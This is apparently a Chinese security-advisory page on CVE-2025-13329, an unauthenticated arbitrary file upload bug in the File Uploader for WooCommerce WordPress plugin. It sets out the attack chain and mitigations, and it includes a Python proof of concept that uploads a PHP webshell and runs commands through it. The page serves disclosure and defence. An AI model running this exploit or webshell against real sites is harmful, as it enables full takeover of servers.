IPBUF安全漏洞报告
English
CVE-2025-13329 CVSS 9.8 严重

CVE-2025-13329 WordPress File Uploader for WooCommerce 任意文件上传漏洞

披露日期: 2025-12-20

漏洞信息

漏洞编号
CVE-2025-13329
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
File Uploader for WooCommerce (WordPress插件)

相关标签

任意文件上传远程代码执行WordPress插件REST API漏洞CVE-2025-13329File Uploader for WooCommerceUploadcare

漏洞概述

CVE-2025-13329是WordPress平台File Uploader for WooCommerce插件中的一个严重安全漏洞。该漏洞存在于插件的REST API端点'add-image-data'的回调函数中,由于缺少文件类型验证,允许未认证的攻击者上传任意文件到Uploadcare服务,随后可以下载到受影响网站的服务器上,最终可能导致远程代码执行。CVSS评分为9.8,属于严重级别。该漏洞影响版本至1.0.3,攻击者无需任何权限即可利用此漏洞,对使用该插件的WordPress网站构成严重威胁。

技术细节

该漏洞的根本原因在于File Uploader for WooCommerce插件在处理文件上传时未对上传文件的MIME类型和扩展名进行充分验证。攻击者可以通过向WordPress REST API的'add-image-data'端点发送恶意构造的请求,上传包含恶意代码的文件(如PHP脚本)。由于验证不完善,攻击者可以绕过安全限制,将任意文件上传到Uploadcare云存储服务。一旦文件被上传,攻击者可以通过特定的下载机制将文件拉回到目标服务器。如果上传的文件是PHP webshell,攻击者即可在服务器上执行任意命令,实现远程代码执行,从而完全控制受影响的WordPress站点。

攻击链分析

STEP 1
步骤1
攻击者识别使用File Uploader for WooCommerce插件(版本<=1.0.3)的WordPress站点
STEP 2
步骤2
攻击者构造恶意文件(如包含PHP代码的webshell),绕过文件类型检查
STEP 3
步骤3
通过REST API端点/wp-json/file-uploader/v1/add-image-data发送文件上传请求
STEP 4
步骤4
恶意文件被上传到Uploadcare云存储服务
STEP 5
步骤5
攻击者利用插件的下载功能将文件拉回目标服务器
STEP 6
步骤6
访问webshell执行任意命令,实现远程代码执行
STEP 7
步骤7
完全控制WordPress站点,可能导致数据泄露、植入后门等进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13329 PoC - File Uploader for WooCommerce Arbitrary File Upload # Target: WordPress site with File Uploader for WooCommerce plugin <= 1.0.3 TARGET_URL = "https://vulnerable-site.com" WP_REST_API = f"{TARGET_URL}/wp-json/file-uploader/v1/add-image-data" # Malicious PHP file content for RCE php_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare the malicious file files = { 'file': ('shell.php', php_payload, 'application/x-php') } # Send the malicious file upload request response = requests.post(WP_REST_API, files=files, verify=False) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If successful, the attacker can then download and execute the shell if response.status_code in [200, 201]: result = response.json() print(f"File uploaded successfully!") print(f"File URL: {result.get('file_url', 'Check response')}") print(f"Now access the shell at: {TARGET_URL}/wp-content/uploads/{result.get('filename', 'shell.php')}?cmd=whoami")

影响范围

File Uploader for WooCommerce <= 1.0.3

防御指南

临时缓解措施
在官方补丁发布前,建议暂时禁用File Uploader for WooCommerce插件,或使用Web应用防火墙限制对/wp-json/file-uploader/v1/add-image-data端点的访问。同时应限制服务器上传目录的PHP执行权限,防止webshell被成功利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表